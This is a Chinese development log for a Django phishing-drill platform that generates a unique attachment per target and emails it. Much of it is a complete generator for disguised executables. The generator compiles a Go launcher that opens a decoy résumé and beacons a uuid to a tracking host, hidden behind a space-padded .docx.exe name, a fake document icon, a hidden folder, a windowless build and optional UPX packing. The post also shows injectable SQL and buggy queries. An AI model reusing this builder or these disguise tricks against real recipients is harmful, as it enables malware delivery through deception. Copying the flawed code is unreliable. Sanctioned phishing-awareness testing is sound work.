编写Django项目(二)-非完全

狄易安
2023-12-01

需求分析1.3

附件看似没办法生成模版,因为要把每个目标的uid加入到附件中以识别中招人。

前两版需求的思路是,生成附件模版,然后在创建模版时导入附件,这样在创建和执行任务时直接把附件发送给目标即可。但是这样存在一个问题,什么时候向附件加入独一无二的uid标识?

导师的脚本思路是,提供源文件和图标,然后加"壳"后得到附件,然后把生成的附件发送到邮件服务器的队列。钓鱼网站监听请求,把中招记录入库,平台这边展示中招记录。

第一步,怎么准备附件?

按照现有加"壳"脚本,生成附件时要指明图标、文件类型、源文件、目标uid。附件里面已经包含目标。

如果在创建模版的时候选择导入,那就导入源文件、选择文件类型、选择文件图标。(修改模版页面的前后端、数据库表格)(可以新建一个表格,把模版名作为主键)

在启动任务的时候,就可以获取uid列表,然后批量生成附件。把附件加入到邮件里。(修改任务页面的前后端)(从数据库里取出源文件、文件类型、文件图标,根据uid列表生成附件列表到指定目录,开始发送邮件)

发送一个邮件后,更新钓鱼记录。也需要新建一个表,添加几个字段,比如每个用户生成后的文件hash、文件名等。

生成本地附件的重命名和存储问题:(1)附件位置,uid/附件名,不会产生覆盖问题,但必须定时清理附件。(2)直接发送一个附件,再生成下一个附件,直接覆盖掉,解决附件清理的工作。

第一步,配置附件的源文件、
编辑 phishing_template.html,增加5个字段:源文件、附件名称、附件类型、附件图标、适配操作系统。

<hr>
                            <div>
                                <label>
                                    选择源文件:
                                </label>
                                <br>
                                <SELECT name="sourceFile" onChange="document.x1.src=options[selectedIndex].value">
                                <option value="static/phishing_attachement/source_files/吴家豪简历.docx">吴家豪简历</option>
                                <option value="static/phishing_attachement/source_files/dark.png">夜</option>
                                </SELECT>
                            </div>

                            <div class="modal-body">
                            <div>
                                <label>
                                    生成附件名称:
                                </label>
                                <input type="text" name="attachementName" class="didi-input">
                            </div>
                        <hr>

                            <div>
                                                <label>
                                                    附件类型:
                                                </label>
                                                <br>
                                                <select name="attachementType">
                                                    <option>pdf</option>
                                                    <option>docx</option>
                                                </select>
                                            </div>

                                            <div>
                                                <label>
                                                    附件图标:
                                                </label>
                                                <br>
                                                <img width=320 height=240 src="static/phishing_attachement/icons/docx.jpg" name="x1">
                                                <SELECT name="attachementIcon" onChange="document.x1.src=options[selectedIndex].value">
                                                <option value="static/phishing_attachement/icons/docker.jpg">docker</option>
                                                <option value="static/phishing_attachement/icons/dark.png">夜</option>
                                                    <option value="static/phishing_attachement/icons/docx.jpg">docx</option>

                                                </SELECT>
                                            </div>

                                            <div>
                                                <label>
                                                    目标操作系统:
                                                </label>
                                                <br>
                                                <select name="targetOS">
                                                    <option>Windows</option>
                                                    <option>Mac</option>
                                                </select>
                                            </div>

编辑 phishing_template_create(req),接收5个字段,并插入到数据库表格。

# @cookie_check()
def phishing_template_create(req):
    page, template_name, template_title, template_content, template_type, faker_sender, template_remark, str_attachment_list, source_file, attachement_name, attachement_type, attachement_icon, targetOS = request_parse(
        req, "POST", "page", "templateName", "templateTitle", "templateContent", "templateType", "templateFakerSender",
        "templateRemark", "templateAttachmentList", "sourceFile", "attachementName", "attachementType",
        "attachementIcon", "targetOS")
    # 参数处理
    if page:
        page = int(page)
    else:
        page = 0

    template_name = template_name.encode("utf-8")
    template_remark = template_remark.encode("utf-8")
    template_title = template_title.encode("utf-8")
    template_content = template_content.encode("utf-8")
    template_type = template_type.encode("utf-8")
    faker_sender = faker_sender.encode("utf-8")
    str_attachment_list = str_attachment_list.encode("utf-8")

    source_file = source_file.encode("utf-8")
    attachement_name = attachement_name.encode("utf-8")
    attachement_type = attachement_type.encode("utf-8")
    attachement_icon = attachement_icon.encode("utf-8")
    targetOS = targetOS.encode("utf-8")

    attachment_list = re.split(r'(?:,|;|,|\r|\n)\s*', str_attachment_list)

    template_id = pdao.insert_new_template(template_name, template_title, template_content, template_type, faker_sender,
                                           template_remark, attachment_list)

    pdao.insert_new_template_attachement(template_id, template_name, source_file, attachement_name, attachement_type,
                                         attachement_icon, targetOS)

    return redirect("/blueteam/phishing_template?page=0&searchKey=")

新建数据库插入函数。登陆数据库,新建 9 个字段的表格,以 id 作为主键。(不设置表格格式为 utf-8 的话,还要重新创建一次)

phishing_dao.py文件:

def insert_new_template_attachement(template_id, template_name, source_file, attachement_name, attachement_type, attachement_icon, target_os):
    '''
    模版的附件信息
    :param template_id:模版id
    :param template_name:模版名称
    :param source_file: 附件源文件
    :param attachement_name: 附件名称
    :param attachement_type: 附件类型
    :param attachement_icon:附件图标
    :param targetOS:    附件适配操作系统
    :return:
    '''
    source_file = source_file.split('/')[-1]
    attachement_icon = attachement_icon.split('/')[-1]

    sql_insert = 'INSERT INTO phishing_attachement(template_id, template_name, attachement_name, create_time, update_time,source_file, attachement_type, attachement_icon,' \
                 ' target_os) VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s);'
    curr_time = ntime.ntime()

    sql_val = [template_id, template_name, attachement_name, curr_time, curr_time, source_file, attachement_type, attachement_icon, target_os]
    sql_helper = Mysql()
    insert_result = sql_helper.insert_to_mysql(sql_insert, sql_val)

    sql_helper.commit_to_mysql()
    sql_helper.close_mysql()
    if insert_result == "exists":
        return -1
    else:
        return insert_result


mysql> create table phishing_attachement_info(
    -> template_name varchar(50) primary key,
    -> attachement_name varchar(50) not null,
    -> create_time varchar(20) not null,
    -> update_time varchar(20) not null,
    -> source_file varchar(50) not null,
    -> attachement_type varchar(20) not null,
    -> attachement_icon varchar(20) not null,
    -> targetOS varchar(20) not null)
    -> default charset=utf8;

补充情况:创建的模版可以不用附件,相关配置信息即无需填写。
前端,在表单里定义一个勾选框

<div id="choose">
	<input type="checkbox" id="enter" name="check_box"><label for="enter">是否添加附件</label>
</div>

后端:接收表单变量 check_box,

if check_box:
	把附件信息插入数据库

phishing_dao.py 文件:

def delete_template_by_id(template_id):
    """
    根据id删除模
    :param template_id:
    :return:
    """
    template_name = get_template_name_by_id(template_id)



    sql_delete = "DELETE FROM phishing_template WHERE id = %s;"
    sql_helper = Mysql()
    sql_helper.delete_to_mysql(sql_delete, (template_id,))
    sql_helper.commit_to_mysql()

    sql_delete = "DELETE FROM phishing_attachement_info WHERE template_name = %s;"
    sql_helper.delete_to_mysql(sql_delete, (template_name,))
    sql_helper.commit_to_mysql()


    sql_helper.close_mysql()
    return True

编辑查询数据库函数。编辑后台查询字段。编辑 phishing_template_index(req) 展示页,增加展示 5 个字段:attachement_name、source_file、attachement_type、attachement_icon、targetOS。

(1)phishing_template_index(req)不需要修改

(2)修改数据库查询函数:get_template_list_by_page(req_page, search_key, page_size=10)。

# 查询附件信息
sql_select_attachement = "SELECT * FROM phishing_attachement_info where template_name='{}'".format(_i[1].encode('utf8'))

_query_attachement = sql_helper.get_from_mysql(sql_select_attachement, search_key)

if _query_attachement:
	data{
		xxxxxx
		"attachement_name": _query_attachement[0][1],
		"source_file": _query_attachement[0][4].encode("utf8"),
		"attachement_type": _query_attachement[0][5],
		"attachement_icon": _query_attachement[0][6],
		"targetOS": _query_attachement[0][7]
	}
else:
	data{
		xxxxxx
		"attachement_name": "",
		"source_file": "",
		"attachement_type": "",
		"attachement_icon": "",
		"targetOS": ""
	}

(3)前端 phishing_template.html:修改 <!-- 模版列表展示部分 start --> 部分。

创建一个模版,不选择附件。

<div id="choose">
	<input type="checkbox" id="enter" name="check_box"><label for="enter">是否添加附件</label>
</div>

第二步,调用附件

创建模版时,如果要用附件,就建立附件的配置信息(已完成)

后端文件 phishing_view.py 的 phshing_task_create(req):创建任务时,选择项目和模版,此时根据选择的模版信息查询是否选择附件,如果选择附件,则根据项目的目标list逐个生成附件并发送。

phshing_task_create(req) 代码如下:

# @cookie_check()
def phishing_task_create(req):
    """
    钓鱼任务创建,先通过项目获取需要发送的邮箱地址,再获取对应的钓鱼模版,然后装入队列
    :param req:
    :return:
    """
    task_name, project_name, template_name, task_type = request_parse(req, "POST", "taskName", "projectName", "templateName", "taskType")

    task_type = task_type.encode("utf-8")  # SMTP 与 HTTP 发送邮件的方式,默认 SMTP
    project_name = project_name.encode("utf-8")
    template_name = template_name.encode("utf-8")
    task_name = task_name.encode("utf-8")
    username = req.COOKIES.get("_kylin_username", "")
    task_status = PHISHING_TASK_STATUS.RUNNING

    template = pdao.get_template_info_by_name(template_name)
    project = pdao.get_project_info_by_name(project_name)
    md5_id = md5(username + task_name + project_name + template_name)

    result = pdao.insert_new_task(md5_id, username, task_name, project_name, template_name, task_status, task_type)
    if result != -1:
        # 插入成功后推入队列执行。
        phishing_mq = phishing_mq_helper()
        for target_email in project['target_list']:
            target_email = target_email.replace('\r', '').replace('\n', '').replace(' ', '')
            data = {
                "md5": md5_id,
                "project_id": project['id'],
                "project_name": project_name,
                "template_name": template_name,
                "task_name": task_name,
                "receive": target_email,
                "title": template['template_title'],
                "content": template['template_content'],
                "send_type": task_type,
            }
            phishing_mq.produce_msg(json.dumps(data))
        phishing_mq.close_channel()
        phishing_mq.close_conn()

    return redirect("/blueteam/phishing_task?page=0&searchKey=")

修改 phishing_dao.py 文件的 def get_template_info_by_name(template_name,增加对附件信息的查询。

def get_template_info_by_name(template_name):
    sql_get_template = 'SELECT * FROM phishing_template WHERE template_name = %s;'
    sql_helper = Mysql()
    _query_result = sql_helper.get_from_mysql(sql_get_template, (template_name,))

    sql_get_attachement = 'SELECT * FROM phishing_attachement_info WHERE template_name = %s;'
    _query_attachement = sql_helper.get_from_mysql(sql_get_template, (template_name,))
    sql_helper.close_mysql()


    if _query_result:
        if _query_attachement:
            _result_att = _query_attachement[0]
            _result = _query_result[0]
            json_attachment_list = json.loads(_result[8])
            template = {
                "id": _result[0],
                "template_name": _result[1],
                "create_time": _result[2],
                "update_time": _result[3],
                "remark": _result[4],
                "template_title": _result[5],
                "template_content": _result[6],
                "template_type": _result[7],
                "attachment_list": json_attachment_list,
                "faker_sender": _result[9],
                "attachement_name": _result_att[1],
                "source_file": _result_att[4],
                "attachement_type": _result_att[5],
                "attachement_icon": _result_att[6],
                "targetOS": _result_att[7],
            }
        else:
            _result_att = _query_attachement[0]
            _result = _query_result[0]
            json_attachment_list = json.loads(_result[8])
            template = {
                "id": _result[0],
                "template_name": _result[1],
                "create_time": _result[2],
                "update_time": _result[3],
                "remark": _result[4],
                "template_title": _result[5],
                "template_content": _result[6],
                "template_type": _result[7],
                "attachment_list": json_attachment_list,
                "faker_sender": _result[9],
                "attachement_name": "",
                "source_file": "",
                "attachement_type": "",
                "attachement_icon": "",
                "targetOS": ""
            }

        return template

修改查询到的模版信息后,在插入任务信息时,需要添加一个附件名,数据库操作函数是 pdao.insert_new_task() 。

附件名是已经插入好的,所以只需要在 task_index() 中展示即可。追踪数据库查询函数,追加附件名。修改前端 phishing_task.html ,在相应到的位置添加代码。进行功能测试,测试成功。

<th>附件名称</th>
<td>{{d.attachement_name}}</td>

目前创建任务、展示任务的代码已经完成,接下来该生成附件,然后把数据推入 队列 了。

数据库查询返回的 result ,是关于以列表为元素的列表

邮件发送成功后,在发送记录/钓鱼记录登陆,代码都有,只需要添加几个字段即可。

发送邮件成功,是要看邮件服务器,还是说发到队列里就算成功?

生成附件脚本,来自学长 @orleven 大师傅。

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
# @author: orleven

import os
import sys
import urllib
import zipfile
from PIL import Image

'''
需要安装PIL
需要安装go环境以及:
go get github.com/akavel/rsrc
go install github.com/akavel/rsrc
需要安装upx
'''

class OperatingSystem:
    WIN = "win"
    MAC = "mac"

class PhishingFile():
    def __init__(self):
        self.current_path = os.getcwd()
        self.work_file_name = 'workpath'
        self.template_file_name = 'template'
        self.output_file_name = 'output'
        self.folder_file_name = 'folder'
        self.source_golang_file_name = "run.go"  # 需要伪装的原始恶意启动程序文件代码
        self.win_zip_tempalte_name = "win.zip"
        self.mac_zip_tempalte_name = "mac.zip"
        self.win_run_exe_file_name = "targetfile.exe"
        self.mac_run_exe_file_name = "targetfile"
        self.mac_run_lnk_tempalte_file_name = "targetfile.app"  # 入口文件
        self.temp_run_exe_name = "temp_exe_file"

        self.upx = False  # lnk方式
        self.win_lnk = False # lnk方式
        if self.win_lnk:
            self.win_run_lnk_tempalte_file_name = "targetfile.lnk"  # lnk方式
        else:
            self.win_run_lnk_tempalte_file_name = self.win_run_exe_file_name  # 非lnk方式



    def image_to_ico(self, input_png_path, output_ico_path=None):
        if not output_ico_path:
            intput_png_file_name = os.path.basename(input_png_path)
            input_png_parrent_path = os.path.dirname(input_png_path)
            input_png_file_name_without_suffix = intput_png_file_name[:intput_png_file_name.rindex('.')]
            output_ico_path = os.path.join(input_png_parrent_path, input_png_file_name_without_suffix + '.ico')
        image = Image.open(input_png_path)
        new_logo_ico = image.resize((128, 128))
        new_logo_ico.save(output_ico_path, format="ICO", quality=90)
        return output_ico_path

    def image_to_icns(self, input_png_path, output_ico_path=None):
        if not output_ico_path:
            intput_png_file_name = os.path.basename(input_png_path)
            input_png_parrent_path = os.path.dirname(input_png_path)
            input_png_file_name_without_suffix = intput_png_file_name[:intput_png_file_name.rindex('.')]
            output_ico_path = os.path.join(input_png_parrent_path, input_png_file_name_without_suffix + '.icns')
        image = Image.open(input_png_path)
        if image.mode == "RGBA":
            image = image.convert("RGB")
        image.save(output_ico_path, format="ICNS")
        return output_ico_path

    def generate_win_ico(self, input_ico_path, output_ico_path=None):
        icon_mainifest_code = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
    version="1.0.0.0"
    processorArchitecture="x86"
    name="controls"
    type="win32"
></assemblyIdentity>
<dependency>
    <dependentAssembly>
        <assemblyIdentity
            type="win32"
            name="Microsoft.Windows.Common-Controls"
            version="6.0.0.0"
            processorArchitecture="*"
            publicKeyToken="6595b64144ccf1df"
            language="*"
        ></assemblyIdentity>
    </dependentAssembly>
</dependency>
</assembly>"""
        if input_ico_path and os.path.exists(input_ico_path):

            if not input_ico_path.endswith('.ico'):
                temp_output_ico_path = output_ico_path
                if output_ico_path and  output_ico_path.endswith('.syso'):
                    temp_output_ico_path = output_ico_path[:-5] + '.ico'
                input_ico_path = self.image_to_ico(input_ico_path, temp_output_ico_path)

            ico_file_name = os.path.basename(input_ico_path)
            input_ico_parrent_path = os.path.dirname(input_ico_path)
            input_ico_file_name_without_suffix = ico_file_name[:ico_file_name.rindex('.')]
            input_ico_manifest_path = os.path.join(input_ico_parrent_path, input_ico_file_name_without_suffix + '.manifest')
            if output_ico_path:

                if not output_ico_path.endswith('.syso'):
                    output_ico_path += '.syso'
            else:
                output_ico_path = os.path.join(input_ico_parrent_path, input_ico_file_name_without_suffix + '.syso')
            with open(input_ico_manifest_path, 'wb') as f:
                f.write(icon_mainifest_code)

            os.system("$GOBIN/rsrc -manifest {input_ico_manifest_path} -ico {input_ico_path} -o {output_ico_path}".format(
                input_ico_manifest_path=input_ico_manifest_path, input_ico_path=input_ico_path, output_ico_path=output_ico_path
            ))
            if os.path.exists(output_ico_path):
                return output_ico_path
            else:
                error = "command rsrc is not exist!"
        else:
            error = "{input_ico_path} is not exist!".format(input_ico_path=input_ico_path)
        raise Exception(error)


    def generate_mac_ico(self, input_ico_path, output_ico_path=None):
        if input_ico_path and os.path.exists(input_ico_path):
            output_ico_path = self.image_to_icns(input_ico_path, output_ico_path)
            return output_ico_path
        else:
            error = "{input_ico_path} is not exist!".format(input_ico_path=input_ico_path)
        raise Exception(error)

    def generate_mac_plist_file(self, app_path, ico_path, main_exe_name):
        plist_code = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>CFBundleExecutable</key>
    <string>{main_exe_name}</string>
    <key>CFBundleIconFile</key>
    <string>{ico_name}</string>
    <key>CFBundleIdentifier</key>
    <string>com.360.www</string>
    <key>NSHighResolutionCapable</key>
    <true/>
    <key>LSUIElement</key>
    <true/>
</dict>
</plist>
"""
        ico_name = os.path.basename(ico_path)
        plist_code = plist_code.format(main_exe_name=main_exe_name, ico_name=ico_name)
        app_plist_path = os.path.join(app_path, "Contents", "Info.plist")
        app_ico_path = os.path.join(app_path, "Contents", "Resources", ico_name)
        with open(app_plist_path, 'wb') as f:
            f.write(plist_code)
        with open(app_ico_path, 'wb') as f2, open(ico_path, 'rb') as f1:
            f2.write(f1.read())

    def generate_golang_code(self, golang_output_path, uuid, target_address, relative_source_file_path):

        golang_code = """package main

import (
	"net"
	"os"
	"os/exec"
	"runtime"
	"path/filepath"
)


const uuid = "{uuid}"
const targetAddress = "{target_address}"
const fileName = "{relative_source_file_path}"

func curlWeb(){
	sysType := runtime.GOOS
	postData := "uuid=" + uuid + "&mark="

	for count := 2; count >= 0; {
		addr, _ := net.ResolveTCPAddr("tcp", targetAddress)
		conn, _ := net.DialTCP("tcp", nil, addr)

		message := "GET /run_success?" +  postData + " HTTP/1.1\\r\\n" +
			"Host: " + targetAddress + "\\r\\n" +
			"User-Agent: Go-BlueTeam-Phishing(" + sysType + ")\\r\\n" +
			"Content-Type: application/x-www-form-urlencoded\\r\\n\\r\\n"
		_, err := conn.Write([]byte(message))
		if err == nil {
			//response, _ := ioutil.ReadAll(conn)
			//fmt.Println(string(response))
			return
		}
		count -= 1
	}
}


func openFile(){
	sysType := runtime.GOOS
	if sysType == "windows" {
		mydir, _ := os.Getwd()
		cmd := exec.Command("explorer", mydir + "\\\\" + fileName)
		cmd.Start()
	}else{
		mydir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
		cmd := exec.Command("open", mydir + "/" + fileName)
		cmd.Start()
	}
}

func main() {
	openFile()
	curlWeb()
}"""
        golang_code = golang_code.replace("{target_address}", target_address). \
        replace("{uuid}", uuid).replace("{relative_source_file_path}", relative_source_file_path)

        with open(golang_output_path, 'wb') as f:
            f.write(golang_code)

    def test(self, source_normal_file_path, source_image_file_path, uuid, target_address, operating_system=OperatingSystem.WIN):

        if operating_system not in [OperatingSystem.WIN, OperatingSystem.MAC]:
            error = "Error operating system!"
            raise Exception(error)

        if os.path.exists(source_normal_file_path):
            source_normal_file_name = os.path.basename(source_normal_file_path)
            source_normal_file_name_without_suffix = source_normal_file_name[:source_normal_file_name.rindex('.')]

            tempalte_parent_path = os.path.join(self.work_file_name, self.template_file_name)  # 模版文件目录
            tempalte_path = os.path.join(tempalte_parent_path, operating_system)  # 样本附件输入的主要目录,win
            zip_tempalte_path = os.path.join(tempalte_path, self.win_zip_tempalte_name)  # 样本zip输入的主要目录,win
            folder_tempalte_path = os.path.join(tempalte_path, self.folder_file_name)  # 样本zip输入的主要目录,win

            output_public_parent_path = os.path.join(self.work_file_name, self.output_file_name)  # 模版文件目录
            output_parent_path = os.path.join(output_public_parent_path, uuid)  # 恶意附件输出目录
            zip_output_file_name = source_normal_file_name_without_suffix + '.zip'
            output_path = os.path.join(output_parent_path, operating_system)  # 恶意附件输出的主要目录,win

            zip_output_path = os.path.join(output_path, zip_output_file_name)
            folder_output_path = os.path.join(output_path, self.folder_file_name)

            os.path.join(folder_output_path, "targetfile.exe")
            if operating_system == OperatingSystem.WIN:
                lnk_src_output_path = os.path.join(folder_output_path, self.win_run_lnk_tempalte_file_name)
                zip_normal_path = os.path.join("__MACOSX", ".DOCX", source_normal_file_name)
                relative_source_file_path = "__MACOSX\\\\.DOCX\\\\" + source_normal_file_name  # go代码中 Win 运行正常文件路径

                # 双后缀名称xxx.docx.    .exe
                if not self.win_lnk:
                    zip_run_exe_path = os.path.join(self.win_run_exe_file_name)
                    dobble_suffix_file_name = source_normal_file_name + '                                                                                                                '
                    lnk_dst_output_path = os.path.join(folder_output_path, dobble_suffix_file_name + '.exe')
                else:
                    zip_run_exe_path = os.path.join("__MACOSX", ".DOCX", self.win_run_exe_file_name)  # 快捷方式被拦截
                    lnk_dst_output_path = os.path.join(folder_output_path, source_normal_file_name_without_suffix + '.lnk')
            else:
                zip_run_exe_path = os.path.join(self.mac_run_lnk_tempalte_file_name, "Contents", "MacOS", self.mac_run_exe_file_name)
                lnk_src_output_path = os.path.join(folder_output_path, self.mac_run_lnk_tempalte_file_name)
                zip_normal_path = os.path.join(self.mac_run_lnk_tempalte_file_name, "Contents", "MacOS", source_normal_file_name)
                relative_source_file_path = source_normal_file_name  # go代码中 mac 运行正常文件路径
                lnk_dst_output_path = os.path.join(folder_output_path, source_normal_file_name_without_suffix + '.app')

            # 初始化output目录
            if os.path.exists(output_parent_path):
                os.system('rm -fr {output_parent_path}'.format(output_parent_path=output_parent_path))
            if not os.path.exists(output_path):
                os.makedirs(output_path)

            # 复制基本的文件
            if os.path.exists(folder_tempalte_path):
                os.system("cp -Ra {folder_tempalte_path} {output_path}".format(
                    folder_tempalte_path=folder_tempalte_path, output_path=output_path))

            # 复制特殊基础文件,例如win的隐藏文件夹属性, 需要预先构造,并打包成win.zip
            if os.path.exists(zip_tempalte_path):
                os.system("cp -Ra {zip_tempalte_path} {zip_output_path}".format(
                    zip_tempalte_path=zip_tempalte_path, zip_output_path=zip_output_path))

            # 复制正常的docx文件
            normal_output_path = os.path.join(folder_output_path, zip_normal_path)
            if os.path.exists(source_normal_file_path):
                os.system("cp -Ra {source_normal_file_path} {normal_output_path}".format(
                    source_normal_file_path=source_normal_file_path, normal_output_path=normal_output_path))


            output_ico_name = os.path.basename(source_image_file_path)
            output_ico_name_without_suffix = output_ico_name[:output_ico_name.rindex('.')]
            run_exe_output_path = os.path.join(self.folder_file_name, zip_run_exe_path)
            golang_output_path = os.path.join(output_path, self.source_golang_file_name)  # go代码输出路径
            if operating_system == OperatingSystem.WIN:
                # 生成图标
                output_ico_path = os.path.join(output_path, output_ico_name_without_suffix + '.syso')
                self.generate_win_ico(source_image_file_path, output_ico_path)

                compile_cmd = "cd {output_path} && CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -trimpath -ldflags '-s -w -H=windowsgui -extldflags \"-static\"' -o \"{temp_run_exe_name}\"".format(
                    temp_run_exe_name=self.temp_run_exe_name,
                    output_path=output_path)
            else:
                # 生成图标
                output_ico_path = os.path.join(output_path, output_ico_name_without_suffix + '.icns')
                self.generate_mac_ico(source_image_file_path, output_ico_path)

                app_path = lnk_src_output_path
                main_exe_name = self.mac_run_exe_file_name
                self.generate_mac_plist_file(app_path, output_ico_path, main_exe_name)

                compile_cmd = "cd {output_path} && CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -trimpath -ldflags '-s -w -extldflags \"-static\"' -o \"{temp_run_exe_name}\"".format(
                    temp_run_exe_name=self.temp_run_exe_name, output_path=output_path)

            # 输出go代码
            self.generate_golang_code(golang_output_path, uuid, target_address, relative_source_file_path )

            # 编译启动器
            os.system(compile_cmd)

            if self.upx:
                upx_cmd = "cd {output_path} && upx -9 -o \"{run_exe_output_path}\" \"{temp_run_exe_name}\"".format(
                    run_exe_output_path=run_exe_output_path, output_path=output_path, temp_run_exe_name=self.temp_run_exe_name
                )
                os.system(upx_cmd)
            else:
                # 移动到目标文件夹下
                cmd = "cd {output_path} && cp {temp_run_exe_name} \"{run_exe_output_path}\"".format(
                    output_path=output_path, temp_run_exe_name=self.temp_run_exe_name, run_exe_output_path=run_exe_output_path)
                os.system(cmd)


            # 修改lnk文件
            if os.path.exists(lnk_src_output_path):
                os.rename(lnk_src_output_path, lnk_dst_output_path)

            # 写入zip文件
            if os.path.exists(zip_output_path):
                zip_file = zipfile.ZipFile(zip_output_path, mode='a')
            else:
                zip_file = zipfile.ZipFile(zip_output_path, mode='w')
            for path, dirnames, filenames in os.walk(folder_output_path):
                fpath = path.replace(folder_output_path, '')
                for filename in filenames:
                    if not self.win_lnk and filename.endswith('.lnk'):
                        continue
                    elif filename.endswith('.DS_Store'):
                        continue
                    zip_file.write(os.path.join(path, filename), os.path.join(fpath, filename))
            zip_file.close()
            return zip_output_path

        error = "Error source normal file suffix!"
        raise Exception(error)


if __name__ == "__main__":
    pf = PhishingFile()
    uuid = "1D6p7=dGVzdEBkaWRpY2h1eGluZy5jb20="
    target_address = "me.didichuxing.cc:80"
    source_image_file_path = "/Users/didi/Product/phishing/Phishing_Client/workpath/template/docx.jpg" # 图标
    source_normal_file_path = "/Users/didi/Product/phishing/Phishing_Client/workpath/template/吴家豪简历.docx" # 原始文件。不修改文件类型
    operating_system = OperatingSystem.MAC  # 适配系统
    zip_output_path = pf.test(source_normal_file_path, source_image_file_path, uuid, target_address, operating_system=operating_system)
    print(zip_output_path)

    # 输入.docx

对接脚本

发送邮件

调整前端的字段

1.创建页:后端phishing_template_create():删除attachementType、attachementName。
相应前端 phishing_template.html,删除两个字段的div。
数据库 insert_new_template_attachement(),删除两个字段。
连接数据库, 删除表,新建表。

mysql> create table phishing_attachement_info(
    -> template_name varchar(50) primary key,
    -> source_file varchar(50) not null,
    -> create_time varchar(20) not null,
    -> update_time varchar(20) not null,
    -> attachement_icon varchar(20) not null,
    -> targetOS varchar(20) not null)
    -> default charset=utf8;

2.展示页:
后端 数据库get_template_list_by_page(),修改查询字段。
前端 phishing_template.html,修改展示字段。

3.流程分析:
后端phishing_view.py文件,推入队列:phishing_mq = phishing_mq_helper()。
区分是否使用附件的依据:是否为空。

消费队列 blueteam_phishing_agent.py文件,调用添加一个字段send_email(, attachement_path)

发送邮件 lib.phishing_email.py文件,给send_email添加一个字段,给send_email_by_http、send_email_by_smtp各添加一个字段。

为了区分是否带附件的邮件,创建一个新的函数:send_email_by_smtp_attachement(receive, title, text, attachement_path)。

4.更新测试:
更新 blueteam_phishing_agent.py,消费队列
更新 phishing_email.py,发送邮件

其他:
创建虚拟环境,
进入虚拟环境:source blueteam_virtualenv/bin/activate
退出虚拟环境:deactivate。

后面还有两天编程和测试的工作量,没有及时做记录,完。

安装go语言环境

参考:在Mac OS上安装Go语言开发包

从公共代理镜像中快速拉取 Go 依赖代码

 类似资料: